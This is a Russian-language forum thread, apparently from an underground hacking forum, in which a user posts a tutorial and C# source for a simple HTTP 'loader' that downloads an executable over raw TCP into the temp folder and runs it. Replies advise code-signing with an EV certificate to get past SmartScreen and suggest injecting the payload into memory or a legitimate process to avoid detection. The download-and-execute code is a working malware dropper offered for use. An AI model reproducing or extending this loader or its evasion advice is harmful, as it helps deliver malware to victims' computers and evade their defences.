Загрузка...

Простенький HTTP лоадер на C#

Тема в разделе C# создана пользователем realallah 13 окт 2024. (поднята 13 янв 2025) 591 просмотр

Загрузка...
  1. realallah
    realallah Автор темы 13 окт 2024 2 30 июн 2024
    приветствую читателей данной статьи
    сегодня мы напишем простенький HTTP лоадер на C# без дотнетовского WebClient
    проще говоря будем делать костыли :finger_up:
    сразу скажу он не поддерживает HTTPS :ehh:

    итак, для начала набросаем переменных в код:
    CSHARP
    string url = "example.com";
    string filePath = Path.Combine(Path.GetTempPath(), "program.exe");
    думаю объяснять для чего они не нужно

    далее мы пишем код который создает TCP-клиент и отправляет HTTP запрос на URL example.com/7z.exe и записывает ответ от сервера без HTTP-заголовка в %TEMP%\program.exe (название файла можно поменять в переменных которые мы создали выше)
    CSHARP
      using (TcpClient client = new TcpClient(url, 80))
    using (NetworkStream networkStream = client.GetStream())
    {
    string request = "GET /7z.exe HTTP/1.1\r\n" +
    $"Host: {url}\r\n" +
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" +
    "Connection: close\r\n\r\n";
    byte[] requestBytes = Encoding.UTF8.GetBytes(request);
    networkStream.Write(requestBytes, 0, requestBytes.Length);
    using (FileStream fileStream = new FileStream(filePath, FileMode.Create, FileAccess.Write))
    {
    byte[] buffer = new byte[8192];
    int bytesRead;
    bool headersProcessed = false;
    while ((bytesRead = networkStream.Read(buffer, 0, buffer.Length)) > 0)
    {
    if (!headersProcessed)
    {
    string responseHeaders = Encoding.UTF8.GetString(buffer, 0, bytesRead);
    int headerEndIndex = responseHeaders.IndexOf("\r\n\r\n");
    if (headerEndIndex >= 0)
    {
    headersProcessed = true;
    int bodyStartIndex = headerEndIndex + 4;
    fileStream.Write(buffer, bodyStartIndex, bytesRead - bodyStartIndex);
    }
    }
    else
    {
    fileStream.Write(buffer, 0, bytesRead);
    }
    }
    }
    }
    следовательно если у вас файл расположен где-нибудь на http://example.com/files/hosting/odfjoqiwfjwqof40.exe вы вместо "/7z.exe" вставляете "/files/hosting/odfjoqiwfjwqof40.exe"
    далее пишем код для запуска процесса:
    CSHARP
    System.Diagnostics.Process.Start(filePath);
    вот и все, наш чудо-лоадер готов :cool:
     
  2. Kalipso
    Kalipso 13 окт 2024 :love2: TRX&ENERGY(FROM 100₽/66.000) - lzt.lol/2trx :love2: 499 12 апр 2022
    а там же будет писаться при открытии что программа от неизвестного издателя или что-то такое
     
    1. Криминальный
      Да, smartscreen назывыется, лоадер надо подписывать EV сертификатом что бы его не было, других вариантов его обойти нет.
    2. realallah Автор темы
      Криминальный, я статью пишу не для болванов которые на все готовое пришли, я дал новичкам реализацию как можно без нетовского webclient'а скачать файл
  3. Криминальный
    Такой лоадер в бою через 3 часа погаснет, вот если бы он записывал пейлоад в память/другой легитимный процесс а не кидал в темп и была минимальная какая-то проверка на ботов было бы годно. Если под белый софт то впринципе пойдёт.
     
    13 окт 2024 Изменено
    1. realallah Автор темы
      Криминальный, кому надо записывать файл в память - тот разберётся как это сделать
      я же как и писал в комменте выше "дал новичкам реализацию как можно без нетовского webclient'а скачать файл"
  4. Gigachado
    Gigachado 1 ноя 2024 1 5 апр 2022
    что делать если в строке: using (TcpClient client = new TcpClient(url, 80)) выдает ошибку System.Net.Sockets.SocketException: "Этот хост неизвестен."
     
Top